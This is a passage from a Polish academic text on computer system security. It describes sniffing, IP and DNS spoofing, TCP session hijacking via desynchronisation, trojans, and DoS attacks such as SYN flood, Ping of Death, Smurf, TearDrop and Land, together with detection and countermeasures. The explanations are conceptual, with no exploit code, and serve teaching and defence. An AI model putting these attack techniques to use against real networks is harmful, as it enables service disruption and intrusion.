a Internetem (połączenie nie musi być bezpośrednie), bądz też między
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 49
Ataki na systemy komputerowe
różnymi sieciami lokalnymi lub rozległymi; ten rodzaj sniffingu jest
najbardziej niebezpieczny,
sniffer znajduje się na komputerze, z którego inicjowane jest połączenie,
sniffer działa na komputerze, na który następuje próba logowania
użytkownika13.
W ostatnim czasie dość znacznie udoskonalono technologie w zakresie
bezpieczeństwa systemów komputerowych. Większość systemów operacyjnych
stosuje teraz kryptografię już na poziomie pakietu, tak więc jeżeli haker przechwyci
już jakieś pakiety będą one w postaci zaszyfrowanej. Wykorzystanie tych
zakodowanych informacji jest uwarunkowane dogłębną znajomością kryptografii,
bezpieczeństwa systemów oraz sieci komputerowych i posiadanie zaplecza
technicznego.
Sniffery występują w postaci programów darmowych oraz pakietów
komercyjnych. Te pierwsze są łatwo dostępne, bezpłatne, rozprowadzane głównie
w postaci kodu zródłowego. Drugie są produktami, których cena niejednokrotnie
sięga kilku tysięcy dolarów. Działający sniffer tak obciąża system, na którym jest
zainstalowany, że komercyjne produkty niejednokrotnie są rozwiązaniami
sprzętowo-programowymi, oparte na maszynie zbudowanej
z uwzględnieniem funkcji sieciowej, jaką będzie spełniać. Atutem stosowania
komercyjnych rozwiązań jest oferowany przez firmę pełen serwis, pomoc
techniczna, infolinia, itp. oraz to, że analizują dużą ilość protokołów.
Sniffery mogą się przyczynić do naruszenia bezpieczeństwa sąsiednich sieci
komputerowych bądz stopniowego dostępu do nich. Wymogiem uruchomienia
sniffera na danej maszynie jest posiadanie uprawnień roota, ponieważ możliwość
przestawienia karty sieciowej w tryb mieszany dozwolone jest tylko
13
Andrzej Dudek, Nie tylko wirusy, str. 203-204
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 50
Ataki na systemy komputerowe
administratorom.
Wykrywanie snifferów w sieci jest zadaniem trudnym, bowiem programy
tego typu działają pasywnie i nie zostawiają żadnych śladów w logach
systemowych. Do znalezienia sniffera na lokalnym komputerze można użyć sum
kontrolnych MD5, oczywiście pod warunkiem, że sam pakiet MD5 został
zainstalowany dostatecznie wcześnie, najlepiej zaraz po instalacji systemu,
a sama baza oryginalnych sum kontrolnych jest fizycznie niedostępna dla hakera
(np. na nośniku MO przechowywanym w bezpiecznym miejscu).
Inaczej sprawa wygląda, gdy haker podpiął się bezpośrednio do medium
transmisyjnego. W tym celu należy sprawdzić każdy centymetr kabla sieciowego,
bądz też zastosować narzędzia służące do mapowania topologii sieci. Użycie
urządzeń typu TDR (Time Domain Reflectometr) mierzącego propagację
i fluktuację fal elektromagnetycznych w medium może pozwolić na wykrycie
nielegalnego podłączenia do naszej sieci. Tylko zapobiegliwy administrator
przyczyni się do minimalizacji szkód powstałych w wyniku działania snifferów.
Sniffery przechwytują pakiety wędrujące po medium transmisyjnym, do
którego są podpięte. W związku z tym, podział sieci na mniejsze podsieci zmniejsza
ilość informacji, które mogą być przechwycone. Sniffery nie potrafią przejść takich
urządzeń jak bridge, switche czy routery. Niestety jest to bardzo kosztowne
rozwiązanie. Idealnym wydaje się więc szyfrowanie danych. Nawet jeśli haker
przechwyci pakiety, to zakodowane informacje w nich zawarte będą dla niego
bezużyteczne. Można tu napotkać problem, czy metoda szyfrowanej komunikacji
jest wspierana przez wszystkie strony biorące w niej udział, ponieważ szyfrowanie
sesji między-platformowych jest zjawiskiem dość rzadkim. Jeśli nie mamy do
dyspozycji szyfrowania sesji, należy korzystać z aplikacji, które oferują silne
dwukierunkowe szyfrowanie danych. Przykładem może być Secure Shell (SSH),
który zastępując standardowego telneta, przy negocjacji połączenia stosuje algorytm
RSA, a po autoryzacji transmisja kodowana jest algorytmem IDEA.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 51
Ataki na systemy komputerowe
Sniffery pierwotnie używane były przez administratorów w celu identyfikacji
potencjalnych problemów, jednakże z czasem zostały zaadaptowane przez hakerów,
ponieważ świetnie nadają się do przechwytywania cennych danych.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 52
Ataki na systemy komputerowe
3. Ataki aktywne
3.1. Spoofing
Terminem tym określa się podszywanie jednego komputera pod inny,
upoważniony do nawiązywania połączenia. Istnieje wiele różnych odmian
podszywania, jednak najpopularniejsze to IP-spoofing i DNS-spoofing.
IP-spoofing
Metoda ta polega na podsłuchiwaniu przez sniffer połączenia pomiędzy klientem
a serwerem i wyłapywaniu wysyłanych numerów sekwencji. Po znalezieniu
algorytmu jakim są one tworzone haker doprowadza do niestabilności połączenia,
np. poprzez atak SYN Flood na stacje klienta, zmienia numer IP na numer klienta
i przewidując numery sekwencji korzysta z istniejącego połączenia jako
autoryzowany użytkownik.
komputer komputer
hakera klienta
192.168.1.2 192.168.1.1
serwer
192.168.1.1
Rys. 10. Zasada działania IP-spoofingu.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 53
Ataki na systemy komputerowe
DNS-spoofing
Jest to atak na serwer DNS, który posiada bazę danych przechowującą numery IP
dla poszczególnym adresów mnemonicznych. Atak DNS-spoofing polega na
ingerencji w tablicę DNS i modyfikacji poszczególnych wpisów tak, aby klient
zamiast do komputera docelowego kierowany był do komputera hakera.
stef.pl = 192.168.1.1
stef.pl = 192.168.1.2
192.168.1.1 stef.pl
stef.pl
komputer komputer
docelowy klienta
serwer DNS
komputer
hakera
Rys. 11. Zasada działania ataku DNS-spoofing. Modyfikacje przeprowadzone
w serwerze DNS (kolor czerwony) kierujÄ… klienta do maszyny hakera.
2
.
1
.
8
6
1
.
2
9
1
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 54
Ataki na systemy komputerowe
3.2. Hijacking
Jednym z najbardziej niebezpiecznych ataków na system komputerowy jest
atak polegajÄ…cy na przechwyceniu sesji w protokole TCP (ang. hijacking). Technika
polega na tym, że haker powoduje przerwanie połączenia zestawionego pomiędzy
klientem a serwerem, następnie podszywa się pod klienta i podsyła serwerowi
własne numery sekwencji. Aby mieć możliwość wglądu w przesyłane pakiety,
konieczne jest korzystanie ze sniffera, co w tym przypadku oznacza, że haker musi
mieć uprawnienia roota na komputerze, z którego przeprowadza atak. Hijacking jest
więc połączeniem dwóch metod: sniffingu i IP-spoofingu.
W celu doprowadzenia do przerwania połączenia TCP należy je wcześniej
rozsynchronizować. Haker wykorzystuje właściwość protokołu TCP polegającą na
tym, że jeśli numery sekwencji pakietu nie zgadzają się z wartościami
oczekiwanymi przez komputer, to komputer go odrzuci i będzie czekać na
poprawnie numerowany. Można tego dokonać za pomocą kilku metod:
wczesne rozsynchronizowanie
aktywne rozsynchronizowanie
rozsynchronizowanie pustymi danymi
Przechwycenie sesji umożliwia hakerowi ominięcie weryfikacji hasła, dzięki czemu
umożliwi mu to bezproblemowe wejście do komputera głównego.
Przechwytywanie w protokole TCP jest dużo większym zagrożeniem niż
podszywanie się pod IP, ponieważ przechwytując już odbywające się połączenie ma
zazwyczaj lepszy dostęp do systemu, niż miałby rozpoczynać je od nowa.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 55
Ataki na systemy komputerowe
Wczesne rozsynchronizowanie
Atak wczesnego rozsynchronizowania powoduje przerwanie połączenia między
klientem a serwerem we wczesnej fazie konfiguracji. Haker podglÄ…dajÄ…c pakiety
oczekuje na potwierdzenie zsynchronizowanego połączenia SYN/ACK, wysyłane
przez serwer do klienta podczas drugiej fazy transmisji. Po jego wykryciu wysyła
do serwera pakiet wyzerowania RST, a następnie pakiet zsynchronizowanej
odpowiedzi SYN z takimi samymi parametrami, jak w pakiecie SYN/ACK serwera.
Jednak pakiet hakera ma inny numer sekwencji. Po otrzymaniu pakietu RST serwer
zamyka połączenie, a po otrzymaniu pakietu SYN, otwiera nowe połączenie przez
ten sam port, ale z innym numerem sekwencji. Do prawdziwego klienta serwer
wysyła z powrotem pakiet SYN/ACK, które przechwytuje haker i wysyła do
serwera swój własny pakiet ACK. Serwer przełącza się w tryb połączenia
zsynchronizowanego ESTABLISHED.
Aktywne rozsynchronizowanie
Metoda ta polega na przerwaniu już istniejącego połączenia. Charakteryzuje się
tym, że haker wykorzystując wymagania dotyczące numerów sekwencji protokołu
TCP i modyfikując ramki wymusza rozsynchronizowanie połączenia TCP, tak że
komputery te nie mogą wymieniać danych. Po rozsynchronizowaniu, numer
sekwencji pakietu klienta nigdy nie jest równy poprzednio wysłanemu przez serwer
potwierdzeniu oczekiwanego numeru sekwencji i dlatego serwer nie akceptuje
danych i odrzuca pakiet. Następnie haker, używając swojego komputera
przechwytuje oryginalne pakiety i generuje ich zamienniki akceptowane zarówno
przez klienta, jaki i przez serwer. W związku z tym, że wszystkie transmisje
przechodzą przez komputer hakera, może on modyfikować dowolne dane ze
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 56
Ataki na systemy komputerowe
strumienia. W ten sposób haker może dodać do oryginalnego żądania klienta
własne. Serwer po otrzymaniu pakietu odpowiada zarówno na polecenia wydane
przez hakera, jak i na polecenia wydane przez prawdziwego klienta. Przed
przekazaniem odpowiedzi serwera do klienta haker może usunąć odpowiedzi na
swoje polecenia tak, aby użytkownik nie spostrzegł jego obecności.
żądanie klienta żądanie klienta
żądanie hakera
odpowiedz klienta odpowiedz klienta
odpowiedz hakera
komputer komputer
serwer
klienta hakera
Rys. 12. Dodawanie poleceń hakera do żądań klienta oraz ich usuwanie
w odpowiedzi z serwera.
Rozsynchronizowanie pustymi danymi
Atak tego typu polega na równoczesnym wysyłaniu dużej ilości pustych danych do
serwera i do klienta. Puste dane nie maja wpływu na nic po stronie serwera oprócz
zmiany numeru potwierdzenia
Skutkiem ubocznym ataku rozsynchronizowania jest pojawiajÄ…ca siÄ™
w sieci znaczna ilość retransmisji pakietów ACK. Podczas połączenia TCP prawie
wszystkie puste pakiety z ustawionÄ… flagÄ… ACK oznaczajÄ… potwierdzenie odebrania,
ale informują jednocześnie o tym, że zostały odrzucone. Klient nie akceptuje tego
potwierdzenia, ponieważ poprzednio nie wysłał pakietu ze zmodyfikowanym
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 57
Ataki na systemy komputerowe
zamówieniem, więc tworzy własny pakiet potwierdzenia. Tworzy się pętla, która
może zostać zakończony tylko wtedy, gdy któryś pakiet się zagubi. W praktyce
często traci się pakiet z danymi z powodu zatłoczenia sieci.
Ataki przechwycenia sesji można wykrywać różnymi metodami:
Wykrywanie stanu rozsynchronizowanego  numery sekwencji na obu
końcach są odczytywane za pomocą czytnika pakietów TCP
i w zależności od numerów sekwencji można określić, czy połączenie jest
w stanie rozsynchronizowanym. Pakiety można czytać tylko przy założeniu,
że numery sekwencji nie są w czasie przesyłania zmieniane przez hakera.
Wykrywanie nawałnicy potwierdzeń  niektóre statystyki dotyczące ruchu
w lokalnym odcinku sieci w połączeniu TCP podają, że przed atakiem
średnia liczba pakietów potwierdzeń bez danych stanowi to około 50%
wszystkich pakietów, w sieci Fast Ethernet to 30%, natomiast podczas ataku
nawet 300%.
Obliczanie procentu pakietów  stan połączenia można sprawdzać poprzez
obliczanie procentu pakietów i porównywać go ze stanem normalnym.
Aby zapobiec przechwyceniu po rozsynchronizowaniu należy korzystać
z szyfrowania transmisji na poziomie aplikacji lub stosować kryptograficzną
implementację protokołu TCP. Szyfrowanie strumienia w znaczny sposób ogranicza
zdolność hakera do manipulowania danymi w czasie rzeczywistym.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 58
Ataki na systemy komputerowe
3.3. Konie trojańskie
Koń trojański jest programem, który robi więcej, niż oczekuje od niego
użytkownik i te jego dodatkowe właściwości z punktu widzenia użytkownika
są niepożądane. To założenie prowadzi nas do trudności w wykrywaniu koni
trojańskich. (...) Problemem jest porównanie tego co robi program, z tym czego
oczekuje od niego użytkownik, a oczekiwania użytkownika wobec programów
przez niego wykorzystywanych sÄ…  na poziomie aplikacji  nieweryfikowalne14.
Takie programy są często stosowane przez hakerów, bo pozwalają na
pokonanie zabezpieczeń systemu omijając procedury autoryzacji. Konie trojańskie
(ang. trojan horses), zwane też trojanami, mogą być zaszyte praktycznie w każdym
programie. Są bardzo trudne do wykrycia, ponieważ zazwyczaj rezydują w plikach
binarnych, a pracując w tle nie ujawniają swojej działalności. Większość dobrze
zaprojektowanych programów tego typu zawiera się w narzędziach, które są
częścią samego systemu. Należy więc być ostrożnym w uruchamianiu programów
ściągniętych z Internetu, nawet jeśli są to programy z oficjalnych stron
producentów. Zdarzały się bowiem przypadki, że hakerzy włamywali się na
serwery firm i zmieniali kody zródłowe programów, które następnie były
kompilowane przez nieświadomych zagrożenia programistów z tej firmy
i rozpowszechniane w sieci. W ten sposób haker może małym wysiłkiem otworzyć
sobie  furtki do wielu systemów. Przykładem takiego działania może być ostatnie
włamanie do sieci komputerowej Microsoftu, gdzie haker podrzucił trojana QAZ
zamaskowanego jako program notatnik (ang. notepad), który komunikował się
z komputerami w Azji i na południowym Pacyfiku, a po zainfekowaniu innych
14
Dr Alan Salomon, All About Viruses
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 59
Ataki na systemy komputerowe
komputerów hasła były przesyłane na adres w Sankt Petersburgu15.
Hakerzy często modyfikują istniejące programy i tworzą własne wersje
podmieniając oryginalne. Wykrycie konia trojańskiego nie jest trudne pod
warunkiem, że byliśmy zapobiegliwi. W innym wypadku będzie to bardzo trudne
lub wręcz niemożliwe. Zazwyczaj stosuje się metodę porównania zgodności
obiektów (ang. object reconciliation), polegającą na sprawdzeniu, czy obecny stan
jest zgodny z zapamiętanym. Jedną z najpewniejszych metod jest stosowanie
cyfrowego podpisu dla każdego pliku używając różnych algorytmów. Obecnie
najbardziej popularnym i sprawdzonym jest MD5. Jest to jednokierunkowy
algorytm mieszajÄ…cy, tworzÄ…cy unikalnÄ… 128 bitowÄ… sygnaturÄ™ dla informacji
wejściowej dowolnej długości. Sensowne jest więc zainstalowanie MD5 zaraz
po instalacji systemu, gdy nie udostępniamy go użytkownikom i nie jesteśmy
podłączeni do sieci.
Konie trojańskie mogą spowodować całkowite zniszczenie systemu.
Część programów jest nastawiona wyłącznie na destrukcje. Zazwyczaj po wykryciu
trojana należy się spodziewać pozostawionych jeszcze kilka ukrytych tylnich wejść.
Aby ustrzec się przed skutkami koni trojańskich należy zachować kilka
podstawowych zasad bezpieczeństwa, które w każdej sytuacji pomogą zwiększyć
bezpieczeństwo naszego systemu:
zawsze należy zapoznać się z programem przed jego pierwszym
uruchomieniem,
należy dokładnie przeczytać uruchamiane skrypty i starać się je dokładnie
zrozumieć,
15
Wall Street Journal, 2000
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 60
Ataki na systemy komputerowe
warto zapoznać się, w miarę możliwości, z kodem zródłowym, aby poznać
mechanizmu użyte w programie i wiedzieć czego się po nim można
spodziewać,
nie należy uruchamiać nowych programów z konta roota, mają one wtedy
dostęp do wszystkich zasobów systemu i mogą już na wejściu dokonać
dużych szkód, najlepiej nowe programy testować na komputerze odłączonym
od sieci, tak aby nie mogły udostępnić nikomu żadnych zasobów w jakiś
tajny nieudokumentowany sposób,
ogólnie zaleca się zachowanie dystansu do programów importowanych
z niepewnych i nieznanych zródeł, i to zarówno do programów zródłowych
jak i skompilowanych plików binarnych.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 61
Ataki na systemy komputerowe
3.4. Ataki typu DOS
W ostatnich latach dość często mamy do czynienia z atakami typu DOS
(ang. Denial of Service). W ogólnym znaczeniu metoda ta polega na częściowym
lub całkowitym zablokowaniu dostępu do świadczonych usług. Ten rodzaj ataku
jest łatwy w użyciu i niestety bardzo ciężko chronić przed nim system. Ataki mogą
być zdalne lub lokalne, zarówno na systemy komputerowe jak i na sprzętowe
elementy sieci komputerowych.
Ze względu na jego charakter, można wyróżnić trzy efekty jego działania:
Designed Outage - wstrzymanie usług, wykorzystuje zjawisko odtwarzania
procesów (ang. processes recovery) większości urządzeń, w szczególności
tych, które mają komendy reset, tymczasowo się wyłączające lub
przekazujące kontrolę innemu procesowi. Wstrzymywanie usług jest
wykonywane przez system w celu zachowania jego niezawodności poprzez
zamykanie połączeń TCP dla danego zródłowego i docelowego adresu
i portu (ang. quad) i odrzucaniu dla nich połączeń przez określony czas.
Resource Destruction - zniszczenie zasobów, to załamanie poszczególnych
obiektów w strumieniu informacji poprzez sprowadzenie ich do stanu
niestabilnego i nie funkcjonującego prawidłowo. Zniszczenie ma miejsce,
gdy jakiś program spowoduje błąd. Systemy operacyjne są nadzwyczajnie
złożone i nie wszystkie matematyczne możliwości są przewidywalne.
Czasami pewne wejścia do systemu powodują jego upadek. Może to nastąpić
poprzez pakiet z nieprawidłowym rozmiarem lub błędnymi opcjami, których
nie może obsłużyć gniazdko (ang. socket). W rezultacie może nastąpić
zawieszenie gniazdka, a czasem nawet systemu.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 62
Ataki na systemy komputerowe
Resource Exhaustion - wyczerpanie zasobów, to ich przeciążenie w taki
sposób, aby opózniane informacje nie docierały na czas. Komputery są
maszynami cyfrowymi i ich działanie oparte jest na operacjach
matematycznych, z pewnÄ… ograniczeniem do operacji na liczbach
skończonych. Każdy proces, który żąda więcej zasobów (pamięci, procesora,
itp.) niż jest to przewidziane może być zablokowany16.
W pewnych przypadkach atak typu DOS może być częścią innego ataku, maj cego
na celu uzyskanie dostępu do systemu:
atak bazujący na technice SYN Flood może być początkiem innego ataku
z wykorzystaniem metody IP-spoof,
niektóre systemowe programy mogą posiadać błąd wewnętrzny podczas
uruchamiania, który może być wykorzystany do zdobycia uprawnień
administratora,
podczas ataku pomocne może się okazać zawieszenie działalności innych
maszyn w sieci lub uniemożliwienie pewnym osobom na dostęp do systemu,
czasami możliwe jest uszkodzenie systemu podczas boot owania
w szczególności rarp-boot. Jeśli znany jest port, na którym maszyna
oczekuje zgłoszenia podczas boot owania możemy wysłać fałszywe pakiety
i prawie całkowicie przejąć kontrolę nad startem systemu,
niektóre firewalle w momencie zablokowania przepuszczają wszystkie
pakiety, co może być bardzo pomocne w zdobywaniu niechronionych
systemów17.
16
Coretez Giovanni, Topology of Denial-of-Service, Endeavor Systems Inc. 2000
17
Hans Husman, Introduction to Denial of Service, 1996
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 63
Ataki na systemy komputerowe
Atak typu DOS może mieć też przyczyny socjologiczno-ekonomiczne:
może być częścią zemsty na użytkowniku lub na samym administratorze,
może być wynikiem działania nieuczciwej konkurencji; potencjalne korzyści
finansowe lub gospodarcze mogą być następstwem zniszczenia systemu
komputerowego innych firm; może mieć ogromne znaczenie
w nadużyciach elektronicznych, które najprawdopodobniej będą miały
miejsce w najbliższych latach,
czysta ludzka złośliwość.
Celem ataku typu DOS mogą być następujące elementy systemu:
pamięć wirtualna (ang. swap space),
tablice jÄ…dra (ang. kernel tables),
pamięć RAM,
pamięć dyskowa,
pamięć podręczna (ang. cache),
demon usług inetd.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 64
Ataki na systemy komputerowe
Ataki zdalne
Atak tego typu wykorzystuje wewnętrzne właściwości protokołu IP, w związku
z czym może być przeprowadzony na dowolnej platformie sprzętowej.
Implementacje tego protokołu nie różnią się znacznie między sobą, przez co
pojedynczy schemat ataku może być użyty przeciw różnym systemom
operacyjnym. Często wykorzystuje błędy w jądrze, a także w konkretnych
serwerach.
SYN Flood
W atakach tego typu cały problem tkwi w mechanizmie działania procesu
potrójnego potwierdzania połączenia TCP (ang. three way handshake).
W wyniku powiększania się Internetu, większość połączeń jest daleko
dystansowych, więc pakiety w drodze do miejsca przeznaczenia przechodzą przez
wiele maszyn. Rezultat jest taki, że pakiety te mogą być znacznie opóznione lub
nawet zgubione. Aby zestawić połączenie na łączach, gdzie występują duże
opóznienia, serwer musi poczekać na potwierdzający pakiet ACK od klienta. Jeśli
go nie otrzyma, ponowi wysłanie własnego pakietu ACK. Zanim serwer odrzuci
żądanie połączenia, sytuacja ta może się powtórzyć kilkukrotnie, z reguły 5-6 razy.
Za ka dym razem, gdy serwer ponawia wysłanie własnego pakietu ACK, czas jego
oczekiwania na odpowiedz zwiększa się dwukrotnie, tak więc jeśli serwer pozwala
na 6 prób i zaczyna od opóznienia 3 sek., to zanim odrzuci żądanie będzie czekał na
odpowiedz klienta przez:
3 + 6 + 12 + 24 + 48 + 96 = 189 sek.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 65
Ataki na systemy komputerowe
czyli ogólnie:
(2n-1) · k
gdzie n to liczba prób, a k  początkowy czas opóznienia.
Oto przykładowa droga jaką pokonuje pakiet wysłany poprzez połączenie TPSA
z Częstochowy do hosta matinf.pcz.czest.pl oraz czasy poszczególnych opóznień
(jest to skrócony wynik komendy traceroute  bez adresów IP)18:
1 * * *
2 pa1.czestochowa.ppp.tpnet.pl 840.056 ms 139.709 ms 129.889 ms
3 do-czest-kop.wct2.katowice.tpnet.pl 179.940 ms 129.740 ms 129.949 ms
4 213.25.12.185 139.811 ms 139.658 ms 139.958 ms
5 do-war-cst4.r1.tpnet.pl 149.982 ms 171.137 ms 158.555 ms
6 do-kraacmm.r1.tpnet.pl 189.888 ms 229.506 ms 500.040 ms
7 do-r1.lodzcen.tpnet.pl 250.363 ms 329.760 ms 460.055 ms
8 z-TPNet-l-e3.lodz.pol34.pl 369.733 ms 249.826 ms 259.896 ms
9 212.191.127.154 279.866 ms 420.326 ms 529.401 ms
10 z-katowic-e1.czestochowa.pol34.pl 1390.029 ms 1159.877 ms 1649.802 ms
11 gw-pcz-pol34.pcz.czest.pl 920.338 ms 309.774 ms 449.916 ms
12 212.87.224.57 369.880 ms 1189.826 ms 1179.922 ms
13 matinf.pcz.czest.pl 369.882 ms 329.811 ms 329.873 ms
Jest to typowe miejsce ataku DOS typu SYN Flood, który polega na wysyłaniu
pakietów SYN do serwera z fałszywym adresem zwrotnym (ang. return address),
który nie istnieje albo należy do maszyny obecnie wyłączonej lub odłączonej od
sieci. Serwer odpowie własnym pakietem ACK i będzie oczekiwał na potwierdzenie
od klienta, które nigdy nie nadejdzie. Wobec tego serwer będzie ponawiał wysłanie
własnego pakietu 5-6 razy, za każdym razem dwukrotnie zwiększając czas
oczekiwania. W rezultacie gniazdko przez jakiÅ› czas zostaje zablokowane.
18
yródło: opracowanie własne
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 66
Ataki na systemy komputerowe
Pojedyncze takie przypadki nie są zagrożeniem, natomiast gdy haker wysyła tysiące
takich żądań, problemy mogą być widoczne. Efekt działania takiego ataku jest
uzależniony od stopnia jego nasilenia oraz od słabości samego systemu. Ze względu
na ograniczoną ilość gniazdek obsługiwanych przez system, zablokowanie ich
wszystkich uniemożliwia prawidłowe działanie serwera, ponieważ następuje
zapełnienie kolejki połączeń oczekujących, a co się z tym wiąże blokuje ruch
wychodzÄ…cy i przychodzÄ…cy,
czyli dla innych użytkowników maszyna jest niedostępna. Dodatkowo duża ilość
otwartych gniazdek powoduje użycie znacznej ilości pamięci, co uszczupla zasoby
dla uruchomionych programów, a w najgorszym razie, zwłaszcza przy słabszych
systemach, może doprowadzić do ich załamania. Od kiedy zablokowane porty są
z powrotem po paru minutach dostępne, w celu przedłużenia blokady należy atak
podtrzymywać, dopóki serwer się nie zatrzyma, co w tym przypadku i tak trwa do
zresetowania go przez administratora.
Początkowo ten rodzaj ataku uznawany był za niemożliwy do wyśledzenia
z powodu fałszywego adresu zwrotnego, po którym rozpoznawano nadawcę. Haker
mógł dodatkowo utrudniać serwerowi wykrywanie i ignorowanie fałszywych
adresów poprzez ciągłą ich zmianę. Atak typu SYN Flood nie dokonuje zniszczeń
w serwerze ani w danych na nim zawartych. Nie ma też całkowitej ochrony przed
takimi atakami dopóki serwery są przyłączone do Internetu. Dla większości
systemów dostępne są już porady i aktualizacje oprogramowania, które
zmniejszenia ryzyko ataku.
W celu poprawy ochrony systemów należy stosować się do pewnych zaleceń:
należy zmniejszyć liczbę wysyłanych przez serwer powtórzeń pakietu ACK,
tak aby serwer szybciej zwalniał gniazdka, ale należy przy tym uważać na to,
aby klient w ogóle miał szansę na połączenie
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 67
Ataki na systemy komputerowe
należy zwiększyć ilość możliwych połączeń; obsługa każdego gniazdka
zużywa kilkaset bajtów pamięci, tak więc jest możliwa obsługa większej ich
ilości. Oznacza to, że haker nie będzie w stanie tak szybko wysyłać pakietów
SYN, aby w tym samym czasie blokować wszystkie gniazdka
istnieją propozycje, aby każdy dostawca Internetu (ang. Internet Service
Provider, w skrócie ISP) uniemożliwiał swoim użytkownikom wykonywanie
zdalnych ataków. Jest to możliwe jeśli router będzie zapobiegał wysyłaniu
pakietów, jeśli adres zwrotny nadawcy pakietu nie będzie zgodny z adresem
przydzielonym przez providera temu danemu użytkownikowi19.
Ping of Death
Niektóre systemy nie potrafią sobie poradzić z pakietami, których rozmiar jest
większy niż 65536 bajtów (64kB), w przeciwieństwie do standardowych
64 bajtów. Jest to błąd, który nie występuje tylko w systemach UNIX, ale jest
charakterystyczny dla MacOS, Netware, drukarek sieciowych, routerów, itp.
Poprawki wychodzą dość szybko, szczególnie dla systemu Linux, gdzie łaty
dostępne są już nawet po paru godzinach. Zgodnie ze specyfikacją RFC 791
długość pakietu IP może wynosić maksymalnie 65535 (216-1) oktetów łącznie
z nagłówkiem (standardowo 20 oktetów jeśli nie są zdefiniowane opcje IP). Samo
żądanie ICMP ECHO jest zawarte w pakiecie IP składa się z 8 oktetów informacji
nagłówka ICMP (RFC 792) i znajduje się zaraz po kilku oktetach danych w żądaniu
 ping .
19
Tom Kermode, Denial of Service Attacks on any Internet Server Through SYN Flooding
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 68
Ataki na systemy komputerowe
W związku z tym maksymalna dostępna wielkość pola danych to:
65535 - 20 - 8 = 65507 oktetów
Pomimo tego, że datagram IP o rozmiarze większym niż 65507 oktetów nie jest
zgodny ze specyfikacją RFC, jest jednak możliwy do stworzenia przy
wykorzystaniu fragmentacji pakietów. Fragmentacja polega na dzieleniu pakietu na
mniejsze części i wysłanie go do odbiorcy, gdzie zostaje z powrotem poskładany
w całość. Wykorzystując to, że maszyny nie przetwarzają pakietu, dopóki wszystkie
jego fragmenty nie zostaną odebrane, istnieje możliwość na przepełnienie
(ang. buffer overflow) wewnętrznych 16-bitowych zmiennych, co może prowadzić
do zresetowania lub zawieszenia maszyny, czy też do błędów w jądrze systemu
(ang. kernel dumps).
Technika ta nie dotyczy wyłącznie żądania  ping , ale może być
wykorzystana przez wszystko, co wysyła datagramy IP, tak więc nie tylko ICMP
echo, ale także protokół TCP, UDP i nawet IPX może być użyty do ataku na
podatną maszynę. Jest to poważny problem głównie dlatego, że może być
przeprowadzany z zewnątrz i schemat jego działania jest niezależny od platformy
sprzętowej20.
Smurf
Atak  Smurf odziedziczył swoją nazwę od exploita i jest stosunkowo nowy
w kategorii sieciowych ataków na hosty. Zasada jego działania polega na wysłaniu
przez napastnika dużej ilości pakietów ICMP echo (ping) na adresy broadcastowe
20
Mike Bremford, It s the Ping o Death Page!, 1996
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 69
Ataki na systemy komputerowe
(ang. broadcast addresses) z podmienionymi adresami zródłowymi na adresy ofiary.
Jeśli router dostarczy pakiet na adres rozgłoszenia IP spowoduje to, że każda
maszyna przyjmie żądanie ICMP echo i na nie odpowie. Aby zobrazować
niebezpieczeństwo ataku należy posłużyć się przykładem.
Zakładając, że napastnik posiada łącze T1, a jego celem jest sieć przełączalna
(ang. switched network) posiadająca 100 komputerów, atakujący wysyła strumień
768kb/s pakietów ping na adres broadcastowy tej sieci. Pakiety ping zostaną
wysłane do każdego z tych 100 komputerów z podmienionym adresem zródłowym
i w rezultacie zostanie stworzone dodatkowe 100 pakietów odpowiedzi, które
zostaną przesłane na adres ofiary strumieniem 76,8Mb/s, co najprawdopodobniej
spowoduje blokadę usług21.
TearDrop
Atak ten wykorzystuje błąd w module fragmentacji IP, gdzie funkcja ip_glue()
nie dokonuje sprawdzania rozmiarów pakietów, choć sprawdza czy nie są za duże.
Funkcja składania fragmentów pakietu w jedną całość działa w pętli kopiując
oczekujÄ…ce dane z kolejki i umieszcza je w nowo alokowanym buforze.
Gdy pakiety te są zbyt małe, funkcja memcopy() przenosi ciągi bajtów w inne
miejsca niż powinna, co z kolei powoduje zawieszenie, bądz restart systemu.
21
Craig A. Huegen, The lastest in Denial of Service attacks:  Smurfing , 1997
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 70
Ataki na systemy komputerowe
Land
Atak tego typu swoją nazwę przejął od narzędzia, które wykorzystuje podatność
niektórych implementacji TCP/IP na pakiety SYN, w których adres zródłowy
i docelowy są identyczne. Przy obecnej technologii protokołu IP nie jest możliwe
wyeliminowanie sfałszowanych pakietów, można jednak zmniejszyć
prawdopodobieństwo użycia ich w sieci poprzez filtrowanie pakietów
wychodzących, które mają adres zródłowy inny niż te z sieci lokalnej22.
Email bombing
Typowa bomba poczty elektronicznej (ang. E-mail Bomb) jest serią wiadomości
wysłanych do skrzynki odbiorczej ofiary. Celem takiego ataku jest zapełnienie
konta mało istotnymi wiadomościami. Użytkownik korzystający
z komutowanego dostępu do Internetu jest wiec narażony na poniesienie znacznie
większych kosztów, jak i na stratę czasu. Praktyka taka jest stosowana przez wiele
osób korzystających z grup dyskusyjnych. Używają tego jako lekarstwo na
 spamerów zasypujących grupę wiadomościami nie na temat lub z różnorodnymi
reklamami. Obecnie zauważa się tendencję do wysyłania plików instalacyjnych
Windows NT lub Windows 98.
W rzadkich przypadkach bomby pocztowe mogą spowodować blokadę
